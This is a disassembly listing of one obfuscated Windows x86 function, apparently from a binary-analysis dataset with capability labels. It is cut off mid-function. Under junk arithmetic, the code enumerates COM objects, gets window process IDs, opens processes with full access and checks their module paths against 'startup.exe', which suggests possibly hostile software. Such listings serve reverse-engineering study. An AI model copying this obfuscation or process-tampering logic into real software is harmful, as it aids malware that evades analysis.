Function at 0x4217d0
Capabilities:
Query or enumerate registry value
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44cd7d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x112c
call fcn.004322b0
mov eax, dword [0x460640]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov ecx, dword [0x45ebd4]
mov eax, 0x4be59407
imul ecx
sar edx, 0x1c
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, dword [0x45ebe0]
mov edi, eax
mov eax, 0x2e45b009
imul ecx
sar edx, 0x1b
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, esi
imul edx, edx, 0x15c6babc
sub edi, ecx
mov ecx, dword [0x45ebd8]
sub edi, edx
mov eax, 0x9c5fe915
imul ecx
add edx, ecx
sar edx, 0x1d
add edi, edx
mov ebx, edx
shr ebx, 0x1f
add ebx, edi
mov edi, dword [0x45ebcc]
mov eax, 0x9c5fe915
imul edi
add edx, edi
sar edx, 0x1d
add ebx, edx
mov eax, edx
mov edx, dword [0x45ebdc]
mov edi, edx
shr eax, 0x1f
imul edi, edi, 0x3e20adb7
add eax, ebx
add eax, edi
mov dword [0x45ebc4], eax
mov eax, 0x2d01dbc7
imul edx
mov ebx, esi
imul ebx, ebx, 0x4d0e971
sar edx, 0x1b
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov ebx, eax
mov eax, 0x273a7861
imul esi
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45ebd0]
sub ebx, eax
mov eax, 0x5e0c18e7
imul edx
sar edx, 0x1b
mov esi, edx
xor edi, edi
add ebx, edx
mov edx, dword [0x45ebe4]
shr esi, 0x1f
mov dword [ebp - 0x10f4], 0
mov dword [ebp - 4], edi
add esi, ebx
mov eax, 0x56a9121b
imul ecx, ecx, 0xbd0f4c0
imul edx
sar edx, 0x1a
mov eax, edx
shr eax, 0x1f
add esi, edx
add eax, esi
add eax, ecx
mov dword [0x45ebc8], eax
mov dword [ebp - 0x10ec], edi
lea ecx, [ebp - 0x10ec]
push ecx
push 0x44f394
push 0x17
push edi
push 0x453938
mov byte [ebp - 4], 1
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov ecx, dword [0x45ebe8]
mov ebx, eax
mov esi, dword [0x45ebd0]
mov eax, ecx
imul eax, eax, 0x31136cfe
mov dword [ebp - 0x10d4], eax
mov eax, 0xc09944a7
imul esi
add edx, esi
sar edx, 0x1c
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x10d4]
sub edx, eax
mov eax, dword [0x45ebe4]
imul eax, eax, 0xd0d40b9
add edx, eax
mov dword [ebp - 0x10d4], edx
mov edi, dword [0x45ebc4]
mov eax, 0x9c5fe915
imul ecx
add edx, ecx
sar edx, 0x1d
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x10d4]
sub edx, eax
mov eax, edi
imul eax, eax, 0x346312ef
sub edx, eax
mov esi, dword [0x45ebe0]
mov dword [ebp - 0x10d4], edx
mov edx, dword [0x45ebd8]
mov eax, 0x56a9121b
imul edx
sar edx, 0x1a
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x10d4]
add edx, esi
test ebx, ebx
lea edx, [eax + edx - 0xbd0f4c0]
mov dword [0x45ebd0], edx
mov eax, 0x4be59407
jge 0x421a55
mov esi, dword [0x45ebdc]
imul ecx, ecx, 0x35f7d09c
imul edi, edi, 0x1a1a8172
imul esi
sar edx, 0x1c
add ecx, edx
mov ebx, edx
mov eax, 0x83008757
imul esi
shr ebx, 0x1f
add ebx, ecx
mov ecx, dword [0x45ebc8]
add edx, esi
imul ecx, ecx, 0x15c6babc
sar edx, 0x1c
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45ebe4]
sub ebx, eax
sub ebx, ecx
add ebx, edx
lea edx, [edi + ebx + 0xbd0f4c0]
mov dword [0x45ebd4], edx
mov eax, dword [ebp - 0x10ec]
test eax, eax
mov byte [ebp - 4], 0
je 0x421a4e
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
xor eax, eax
jmp 0x42464e
mov esi, dword [0x45ebc8]
imul esi
imul esi, esi, 0x35f7d09c
sar edx, 0x1c
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x53766c07
imul edi
sar edx, 0x1c
add esi, edx
mov edi, edx
shr edi, 0x1f
add edi, esi
mov esi, dword [0x45ebe0]
mov eax, 0x83008757
imul esi
add edx, esi
sar edx, 0x1c
mov esi, edx
add edi, edx
mov edx, dword [0x45ebcc]
imul edx, edx, 0x1f444551
shr esi, 0x1f
add esi, edi
sub esi, edx
mov eax, 0x5e0c18e7
imul ecx
imul ecx, ecx, 0xbd0f4c0
sar edx, 0x1b
mov eax, edx
shr eax, 0x1f
add esi, edx
add eax, esi
sub eax, ecx
mov dword [0x45ebd8], eax
mov eax, dword [ebp - 0x10ec]
lea edx, [ebp - 0x10fc]
push edx
mov dword [ebp - 0x10fc], 0
mov ecx, dword [eax]
push eax
call dword [ecx + 0x1c]
mov edi, dword [0x45ebe4]
mov ecx, dword [0x45ebcc]
mov eax, 0x4be59407
imul edi
mov ebx, dword [0x45ebc8]
sar edx, 0x1c
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul edx, edx, 0x5885071a
add eax, edx
mov edx, ebx
imul edx, edx, 0x2d80f713
add eax, edx
mov dword [ebp - 0x10d4], eax
mov eax, 0x273a7861
imul ecx
mov ecx, dword [ebp - 0x10d4]
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov dword [ebp - 0x10d4], ecx
mov ecx, dword [0x45ebd0]
mov eax, 0x9c5fe915
imul ecx
mov eax, dword [ebp - 0x10d4]
add edx, ecx
sar edx, 0x1d
mov esi, edx
add eax, edx
mov edx, dword [0x45ebc4]
shr esi, 0x1f
add esi, eax
imul edx, edx, 0xbd0f4c0
mov eax, dword [ebp - 0x10fc]
add esi, edx
test eax, eax
mov dword [0x45ebdc], esi
je 0x421a3a
mov edx, dword [0x45ebd4]
imul ebx, ebx, 0x31136cfe
mov eax, ecx
mov ecx, dword [0x45ebd8]
sub eax, edx
imul eax, eax, 0x15445b42
add eax, ebx
mov ebx, dword [0x45ebd0]
mov edx, ecx
imul edx, edx, 0x2d80f713
add eax, edx
mov dword [ebp - 0x10d4], eax
mov eax, 0xc09944a7
imul dword [0x45ebd0]
add edx, ebx
sar edx, 0x1c
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x10d4]
sub edx, eax
mov ebx, edx
mov edx, dword [0x45ebe8]
mov eax, 0x2e45b009
imul edx
sar edx, 0x1b
add ebx, edx
mov eax, edx
mov edx, dword [0x45ebcc]
shr eax, 0x1f
add eax, ebx
mov ebx, edx
imul ebx, ebx, 0xbd0f4c0
sub eax, ebx
mov dword [0x45ebe0], eax
mov eax, dword [ebp + 8]
test eax, eax
je 0x421ca0
mov eax, 0x4be59407
imul ecx, ecx, 0x35f7d09c
imul edx
sar edx, 0x1c
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
sub esi, ecx
mov ecx, dword [0x45ebc4]
mov eax, 0xc09944a7
imul ecx
mov eax, dword [0x45ebd4]
add edx, ecx
imul eax, eax, 0x3e888aa2
sar edx, 0x1c
mov ecx, edx
add esi, edx
shr ecx, 0x1f
add ecx, esi
add ecx, eax
mov eax, 0x2e45b009
imul dword [0x45ebd0]
sar edx, 0x1b
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x9c5fe915
imul edi
add edx, edi
sar edx, 0x1d
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov dword [0x45ebe4], ecx
mov ecx, 0x572838
call fcn.00415220
mov esi, dword [0x45ebdc]
mov ecx, dword [0x45ebd8]
mov edx, dword [0x45ebd0]
lea ebx, [edx + ecx]
mov eax, 0x4be59407
imul ebx, ebx, 0x15c6babc
imul dword [0x45ebc8]
sar edx, 0x1c
mov edi, edx
add ebx, edx
mov eax, ecx
imul eax, eax, 0x35f7d09c
shr edi, 0x1f
add edi, ebx
add edi, eax
mov eax, 0x2d01dbc7
imul ecx
sar edx, 0x1b
mov eax, edx
mov ebx, dword [0x45ebd4]
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x83008757
imul esi
add edx, esi
sar edx, 0x1c
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ebx
imul edx, edx, 0xbd0f4c0
sub edi, eax
sub edi, edx
mov dword [0x45ebe8], edi
xor edi, edi
cmp edi, dword [ebp - 0x10fc]
mov dword [ebp - 0x10d4], edi
jge 0x4245c5
mov eax, 0x4be59407
imul esi, esi, 0x3e20adb7
imul ebx
sar edx, 0x1c
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0x10cc], eax
mov eax, 0x2e45b009
imul ebx
sar edx, 0x1b
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x10cc]
sub edx, eax
mov eax, dword [0x45ebe0]
imul eax, eax, 0x15c6babc
sub edx, eax
mov dword [ebp - 0x10cc], edx
mov eax, 0x9c5fe915
imul ecx
mov eax, dword [ebp - 0x10cc]
add edx, ecx
mov ecx, dword [0x45ebcc]
sar edx, 0x1d
mov ebx, edx
add eax, edx
shr ebx, 0x1f
add ebx, eax
mov eax, 0x9c5fe915
imul ecx
add edx, ecx
sar edx, 0x1d
mov ecx, edx
shr ecx, 0x1f
add ebx, edx
add ecx, ebx
add ecx, esi
mov dword [0x45ebc4], ecx
mov dword [ebp - 0x10e4], 0
mov eax, edi
mov word [ebp - 0x1120], 3
mov dword [ebp - 0x1118], eax
mov edi, dword [ebp - 0x1120]
mov ecx, dword [ebp - 0x10ec]
mov edx, dword [ecx]
lea esi, [ebp - 0x10e4]
push esi
sub esp, 0x10
mov esi, esp
mov dword [esi], edi
mov edi, dword [ebp - 0x111c]
mov dword [esi + 4], edi
mov dword [esi + 8], eax
mov eax, dword [ebp - 0x1114]
push ecx
mov byte [ebp - 4], 3
mov dword [esi + 0xc], eax
call dword [edx + 0x20]
lea ecx, [ebp - 0x1120]
push ecx
mov esi, eax
mov byte [ebp - 4], 2
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov ecx, dword [0x45ebd0]
mov edi, dword [0x45ebe8]
mov eax, 0xc09944a7
imul ecx
mov ebx, edi
imul ebx, ebx, 0x31136cfe
add edx, ecx
mov ecx, dword [0x45ebe4]
sar edx, 0x1c
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
imul ecx, ecx, 0xd0d40b9
mov eax, 0x9c5fe915
imul edi
add ebx, ecx
add edx, edi
mov edi, dword [0x45ebc4]
sar edx, 0x1d
mov ecx, edi
imul ecx, ecx, 0x346312ef
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
sub ebx, ecx
mov ecx, dword [0x45ebd8]
mov eax, 0x56a9121b
imul ecx
sar edx, 0x1a
mov eax, edx
shr eax, 0x1f
add eax, edx
add ebx, dword [0x45ebe0]
test esi, esi
lea ebx, [eax + ebx - 0xbd0f4c0]
mov dword [0x45ebd0], ebx
jl 0x424593
mov eax, 0x4be59407
imul dword [0x45ebe4]
sar edx, 0x1c
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45ebcc]
mov esi, edx
imul esi, esi, 0x5885071a
add eax, esi
mov esi, dword [0x45ebc8]
imul esi, esi, 0x2d80f713
add eax, esi
mov dword [ebp - 0x10cc], eax
mov eax, 0x273a7861
imul edx
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x10cc]
sub edx, eax
mov dword [ebp - 0x10cc], edx
mov eax, 0x9c5fe915
imul ebx
mov eax, dword [ebp - 0x10cc]
add edx, ebx
sar edx, 0x1d
add eax, edx
mov esi, edx
mov edx, edi
imul edx, edx, 0xbd0f4c0
shr esi, 0x1f
add esi, eax
mov eax, dword [ebp - 0x10e4]
add esi, edx
test eax, eax
mov dword [0x45ebdc], esi
mov dword [ebp - 0x10dc], 0
je 0x421f58
mov ecx, dword [eax]
lea edx, [ebp - 0x10dc]
push edx
push 0x44f3dc
push eax
call dword [ecx]
mov edi, dword [0x45ebc4]
mov esi, dword [0x45ebdc]
mov ecx, dword [0x45ebd8]
mov ebx, dword [0x45ebe0]
imul ebx, ebx, 0x4d0e971
mov eax, 0x2d01dbc7
imul esi
sar edx, 0x1b
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov ebx, eax
mov eax, 0x273a7861
imul dword [0x45ebe0]
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x5e0c18e7
imul dword [0x45ebd0]
sar edx, 0x1b
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov ebx, eax
mov eax, 0x56a9121b
imul dword [0x45ebe4]
sar edx, 0x1a
add ebx, edx
mov eax, edx
mov edx, ecx
imul edx, edx, 0xbd0f4c0
shr eax, 0x1f
add eax, ebx
add eax, edx
mov dword [0x45ebc8], eax
mov eax, dword [ebp - 0x10dc]
test eax, eax
jne 0x421ff0
mov eax, dword [ebp - 0x10e4]
test eax, eax
mov byte [ebp - 4], 1
je 0x4245b3
jmp 0x4245a1
mov ebx, dword [0x45ebe8]
imul edi, edi, 0x1a1a8172
mov eax, 0x4be59407
imul ebx, ebx, 0x35f7d09c
imul esi
sar edx, 0x1c
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov ebx, eax
mov eax, 0x83008757
imul esi
add edx, esi
sar edx, 0x1c
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, dword [0x45ebc8]
mov edx, eax
imul edx, edx, 0x15c6babc
sub ebx, edx
add ebx, dword [0x45ebe4]
lea edi, [edi + ebx + 0xbd0f4c0]
xor ebx, ebx
mov dword [0x45ebd4], edi
mov dword [ebp - 0x10e8], ebx
imul eax, eax, 0x31136cfe
imul ecx, ecx, 0x2d80f713
mov esi, dword [0x45ebd0]
mov edx, esi
sub edx, edi
imul edx, edx, 0x15445b42
add edx, eax
add edx, ecx
mov ecx, edx
mov eax, 0xc09944a7
imul esi
add edx, esi
sar edx, 0x1c
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x2e45b009
imul dword [0x45ebe8]
mov eax, dword [0x45ebcc]
imul eax, eax, 0xbd0f4c0
sar edx, 0x1b
mov esi, edx
add ecx, edx
shr esi, 0x1f
add esi, ecx
sub esi, eax
mov eax, dword [ebp - 0x10dc]
lea edx, [ebp - 0x10e8]
push edx
mov dword [0x45ebe0], esi
mov ecx, dword [eax]
push eax
mov byte [ebp - 4], 5
call dword [ecx + 0x48]
cmp eax, ebx
jge 0x422111
mov eax, dword [ebp - 0x10e8]
cmp eax, ebx
mov byte [ebp - 4], 4
je 0x4220e6
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x10dc]
cmp eax, ebx
mov byte [ebp - 4], 2
je 0x4220fa
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov eax, dword [ebp - 0x10e4]
cmp eax, ebx
mov byte [ebp - 4], 1
je 0x4245a7
jmp 0x4245a1
mov esi, dword [0x45ebdc]
mov ecx, dword [0x45ebc4]
imul ecx, ecx, 0x31136cfe
mov eax, 0xc09944a7
imul esi
add edx, esi
sar edx, 0x1c
add ecx, edx
mov edi, edx
mov eax, 0x273a7861
imul dword [0x45ebd0]
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
shr edi, 0x1f
add edi, ecx
sub edi, eax
mov ecx, dword [0x45ebc8]
mov eax, 0x2e45b009
imul dword [0x45ebe0]
sar edx, 0x1b
add edi, edx
mov eax, edx
shr eax, 0x1f
add eax, edi
mov dword [ebp - 0x10cc], eax
mov eax, 0x9c5fe915
imul ecx
mov eax, dword [ebp - 0x10cc]
add edx, ecx
mov ecx, dword [0x45ebd8]
sar edx, 0x1d
add eax, edx
mov edi, edx
shr edi, 0x1f
add edi, eax
mov eax, 0x9c5fe915
imul ecx
add edx, ecx
sar edx, 0x1d
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x56a9121b
imul dword [0x45ebd4]
sar edx, 0x1a
sub edi, ecx
mov eax, edx
add edi, edx
shr eax, 0x1f
add eax, edi
mov edi, dword [ebp - 0x10e8]
cmp edi, ebx
mov dword [0x45ebcc], eax
mov dword [ebp - 0x10e0], ebx
je 0x4221f1
mov edx, dword [edi]
lea eax, [ebp - 0x10e0]
push eax
push 0x44f3ec
push edi
call dword [edx]
mov edi, dword [ebp - 0x10e8]
mov esi, dword [0x45ebdc]
mov ecx, dword [0x45ebc8]
mov eax, 0x4be59407
imul ecx
imul ecx, ecx, 0x35f7d09c
sar edx, 0x1c
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x53766c07
imul dword [0x45ebc4]
sar edx, 0x1c
add ecx, edx
mov ebx, edx
shr ebx, 0x1f
add ebx, ecx
mov ecx, dword [0x45ebe0]
mov eax, 0x83008757
imul ecx
add edx, ecx
mov ecx, dword [0x45ebcc]
imul ecx, ecx, 0x1f444551
sar edx, 0x1c
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov ebx, dword [0x45ebe8]
sub eax, ecx
mov dword [ebp - 0x10cc], eax
mov eax, 0x5e0c18e7
imul ebx
imul ebx, ebx, 0xbd0f4c0
mov eax, dword [ebp - 0x10cc]
sar edx, 0x1b
mov ecx, edx
shr ecx, 0x1f
add eax, edx
add ecx, eax
mov eax, dword [ebp - 0x10e0]
sub ecx, ebx
test eax, eax
mov byte [ebp - 4], 6
mov dword [0x45ebd8], ecx
jne 0x4222e8
test edi, edi
mov byte [ebp - 4], 4
je 0x4222ab
mov edx, dword [edi]
push edi
call dword [edx + 8]
mov esi, dword [0x45ebdc]
mov ecx, dword [0x45ebd8]
mov eax, dword [ebp - 0x10dc]
test eax, eax
mov byte [ebp - 4], 2
je 0x4222cb
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov esi, dword [0x45ebdc]
mov ecx, dword [0x45ebd8]
mov eax, dword [ebp - 0x10e4]
test eax, eax
mov byte [ebp - 4], 1
je 0x4245b3
mov edx, dword [eax]
push eax
call dword [edx + 8]
jmp 0x4245a7
push 0
call fcn.00432277
sub eax, dword [0x572a90]
add esp, 4
cmp eax, 0x708
jge 0x422641
mov ecx, dword [0x45ebd4]
mov eax, 0x4be59407
imul ecx
sar edx, 0x1c
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x2e45b009
imul ecx
sar edx, 0x1b
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45ebe0]
imul edx, edx, 0x15c6babc
sub esi, ecx
mov ecx, dword [0x45ebd8]
sub esi, edx
mov eax, 0x9c5fe915
imul ecx
add edx, ecx
mov ecx, dword [0x45ebcc]
sar edx, 0x1d
mov edi, edx
add esi, edx
mov eax, 0x9c5fe915
imul ecx
add edx, ecx
mov ecx, dword [0x45ebdc]
imul ecx, ecx, 0x3e20adb7
sar edx, 0x1d
shr edi, 0x1f
mov eax, edx
shr eax, 0x1f
add edi, esi
add edi, edx
add eax, edi
add eax, ecx
mov dword [0x45ebc4], eax
mov eax, dword [ebp - 0x10dc]
mov edx, dword [eax]
lea ecx, [ebp - 0x110c]
push ecx
push eax
call dword [edx + 0x94]
mov eax, dword [ebp - 0x110c]
lea edx, [ebp - 0x1104]
push edx
push eax
mov dword [ebp - 0x1104], 0
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov ecx, dword [0x45ebdc]
mov esi, dword [0x45ebc4]
mov eax, 0xc09944a7
imul esi, esi, 0x31136cfe
imul ecx
add edx, ecx
sar edx, 0x1c
add esi, edx
mov edi, edx
mov eax, 0x273a7861
imul dword [0x45ebd0]
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
shr edi, 0x1f
add edi, esi
add eax, edx
sub edi, eax
mov eax, 0x2e45b009
imul dword [0x45ebe0]
sar edx, 0x1b
mov esi, edx
add edi, edx
shr esi, 0x1f
add esi, edi
mov edi, dword [0x45ebc8]
mov eax, 0x9c5fe915
imul edi
add edx, edi
sar edx, 0x1d
mov ebx, edx
add esi, edx
shr ebx, 0x1f
add ebx, esi
mov esi, dword [0x45ebd8]
mov eax, 0x9c5fe915
imul esi
add edx, esi
sar edx, 0x1d
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45ebd4]
sub ebx, eax
mov eax, 0x56a9121b
imul edx
sar edx, 0x1a
mov eax, edx
add ebx, edx
shr eax, 0x1f
add eax, ebx
mov ebx, dword [ebp - 0x1104]
test ebx, ebx
mov dword [0x45ebcc], eax
je 0x423486
mov esi, dword [0x45ebe8]
imul edi, edi, 0x15c6babc
mov eax, 0x4be59407
imul esi, esi, 0x35f7d09c
imul ecx
sar edx, 0x1c
add esi, edx
mov eax, edx
shr eax, 0x1f
add eax, esi
mov esi, eax
mov eax, 0x83008757
imul ecx
mov eax, dword [0x45ebc4]
add edx, ecx
imul eax, eax, 0x1a1a8172
sar edx, 0x1c
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
sub esi, edi
mov edi, dword [0x45ebe4]
push ebx
add esi, edi
push 0
lea edx, [eax + esi + 0xbd0f4c0]
push 0x1f0fff
mov dword [0x45ebd4], edx
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x422641
mov ecx, dword [0x45ebe4]
mov eax, 0x4be59407
imul ecx
mov ecx, dword [0x45ebcc]
sar edx, 0x1c
mov edi, edx
mov eax, ecx
imul eax, eax, 0x5885071a
shr edi, 0x1f
add edi, edx
mov edx, dword [0x45ebc8]
imul edx, edx, 0x2d80f713
add edi, eax
add edi, edx
mov eax, 0x273a7861
imul ecx
mov ecx, dword [0x45ebd0]
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x9c5fe915
imul ecx
mov ax, word [0x44fd84]
add edx, ecx
sar edx, 0x1d
add edi, edx
mov ecx, edx
mov edx, dword [0x45ebc4]
imul edx, edx, 0xbd0f4c0
shr ecx, 0x1f
add ecx, edi
add ecx, edx
mov dword [0x45ebdc], ecx
mov cl, byte [0x44fd86]
mov word [ebp - 0x2c4], ax
mov byte [ebp - 0x2c2], cl
xor eax, eax
push 0x100
mov ecx, 0x3f
lea edi, [ebp - 0x2c1]
rep stosd dword es:[edi], eax
lea edx, [ebp - 0x2c4]
push edx
push 0
push esi
stosb byte es:[edi], al
call sub.PSAPI.DLL_GetModuleFileNameExA
mov ecx, dword [0x45ebcc]
mov esi, dword [0x45ebd8]
mov eax, 0x4be59407
imul esi, esi, 0x35f7d09c
imul ecx
mov ecx, dword [0x45ebc4]
sar edx, 0x1c
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0xc09944a7
imul ecx
add edx, ecx
mov ecx, dword [0x45ebd4]
imul ecx, ecx, 0x3e888aa2
sub edi, esi
sar edx, 0x1c
mov esi, edx
add edi, edx
shr esi, 0x1f
add esi, edi
add esi, ecx
mov ecx, dword [0x45ebd0]
mov eax, 0x2e45b009
imul ecx
mov ecx, dword [0x45ebe4]
sar edx, 0x1b
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x9c5fe915
imul ecx
add edx, ecx
sar edx, 0x1d
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
lea edx, [ebp - 0x2c4]
sub esi, ecx
push str.startup.exe
push edx
mov dword [0x45ebe4], esi
call fcn.0040da90
add esp, 8
test eax, eax
jne 0x42350d
mov ecx, dword [0x45ebd8]
mov eax, 0x4be59407
imul ecx, ecx, 0x35f7d09c
imul dword [0x45ebcc]
sar edx, 0x1c
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
sub esi, ecx
mov ecx, dword [0x45ebc4]
mov eax, 0xc09944a7
imul ecx
add edx, ecx
sar edx, 0x1c
add esi, edx
mov edi, edx
mov edx, dword [0x45ebd4]
imul edx, edx, 0x3e888aa2
shr edi, 0x1f
add edi, esi
mov esi, dword [0x45ebe4]
add edi, edx
mov eax, 0x2e45b009
imul dword [0x45ebd0]
sar edx, 0x1b
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x9c5fe915
imul esi
add edx, esi
sar edx, 0x1d
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x10f4]
sub edi, eax
mov eax, dword [ebp + 8]
inc edx
test eax, eax
mov dword [0x45ebe4], edi
mov dword [ebp - 0x10f4], edx
je 0x4244c3
push ecx
lea edx, [ebp - 0x10dc]
mov ecx, esp
mov dword [ebp - 0x10d0], esp
push edx
call fcn.00408420
mov ecx, 0x572838
call fcn.00407740
test al, al
jne 0x4244bd
mov ecx, dword [0x45ebd4]
mov eax, 0x4be59407
imul ecx
sar edx, 0x1c
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov esi, dword [0x45ebd8]
mov eax, 0x2e45b009
imul ecx
sar edx, 0x1b
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45ebe0]
imul edx, edx, 0x15c6babc
sub edi, ecx
sub edi, edx
mov ecx, dword [0x45ebcc]
mov eax, 0x9c5fe915
imul esi
add edx, esi
sar edx, 0x1d
add edi, edx
mov ebx, edx
mov eax, 0x9c5fe915
imul ecx
mov eax, dword [0x45ebdc]
add edx, ecx
imul eax, eax, 0x3e20adb7
sar edx, 0x1d
mov ecx, edx
shr ebx, 0x1f
add ebx, edi
add ebx, edx
mov edx, dword [0x45ebd0]
mov edi, dword [0x45ebe8]
shr ecx, 0x1f
add ecx, ebx
add ecx, eax
mov eax, 0xc09944a7
imul edx
add edx, dword [0x45ebd0]
sar edx, 0x1c
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45ebe4]
imul edx, edx, 0xd0d40b9
mov ebx, edi
imul ebx, ebx, 0x31136cfe
sub ebx, eax
add ebx, edx
mov eax, 0x9c5fe915
imul edi
add edx, edi
sar edx, 0x1d
mov edi, dword [0x45ebe0]
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov dword [0x45ebc4], ecx
imul ecx, ecx, 0x346312ef
mov eax, 0x56a9121b
imul esi
mov eax, dword [ebp - 0x10dc]
sar edx, 0x1a
sub ebx, ecx
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
add ebx, edi
lea edx, [ecx + ebx - 0xbd0f4c0]
mov dword [0x45ebd0], edx
mov ecx, dword [eax]
lea edx, [ebp - 0x1108]
push edx
push eax
call dword [ecx + 0x78]
mov ecx, dword [0x45ebe4]
mov eax, 0x4be59407
imul ecx
mov ecx, dword [0x45ebcc]
sar edx, 0x1c
mov esi, edx
mov eax, ecx
imul eax, eax, 0x5885071a
shr esi, 0x1f
add esi, edx
mov edx, dword [0x45ebc8]
imul edx, edx, 0x2d80f713
add esi, eax
add esi, edx
mov eax, 0x273a7861
imul ecx
mov ecx, dword [0x45ebd0]
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x9c5fe915
imul ecx
mov eax, dword [ebp - 0x1108]
add edx, ecx
sar edx, 0x1d
mov ecx, edx
add esi, edx
mov edx, dword [0x45ebc4]
imul edx, edx, 0xbd0f4c0
shr ecx, 0x1f
add ecx, esi
add ecx, edx
push eax
mov dword [0x45ebdc], ecx
call fcn.00427a40
mov ecx, dword [0x45ebd4]
mov dword [ebp - 0x10cc], eax
mov eax, 0x4be59407
imul ecx
sar edx, 0x1c
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x2e45b009
imul ecx
sar edx, 0x1b
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45ebe0]
imul edx, edx, 0x15c6babc
sub esi, ecx
mov ecx, dword [0x45ebd8]
sub esi, edx
mov eax, 0x9c5fe915
imul ecx
add edx, ecx
mov ecx, dword [0x45ebcc]
sar edx, 0x1d
add esi, edx
mov edi, edx
mov eax, 0x9c5fe915
imul ecx
add edx, ecx
mov ecx, dword [0x45ebdc]
imul ecx, ecx, 0x3e20adb7
shr edi, 0x1f
sar edx, 0x1d
add edi, esi
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
add eax, ecx
mov dword [0x45ebc4], eax
mov eax, dword [ebp - 0x10e0]
xor edi, edi
mov edx, dword [eax]
lea ecx, [ebp - 0x1110]
push ecx
push eax
call dword [edx + 0x90]
mov ecx, dword [0x45ebdc]
mov esi, eax
mov ebx, dword [0x45ebc4]
imul ebx, ebx, 0x31136cfe
mov eax, 0xc09944a7
imul ecx
add edx, ecx
mov ecx, dword [0x45ebd0]
sar edx, 0x1c
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov ebx, eax
mov eax, 0x273a7861
imul ecx
mov ecx, dword [0x45ebe0]
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x2e45b009
imul ecx
mov ecx, dword [0x45ebc8]
sar edx, 0x1b
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov dword [ebp - 0x10c8], eax
mov eax, 0x9c5fe915
imul ecx
mov eax, dword [ebp - 0x10c8]
add edx, ecx
mov ecx, dword [0x45ebd8]
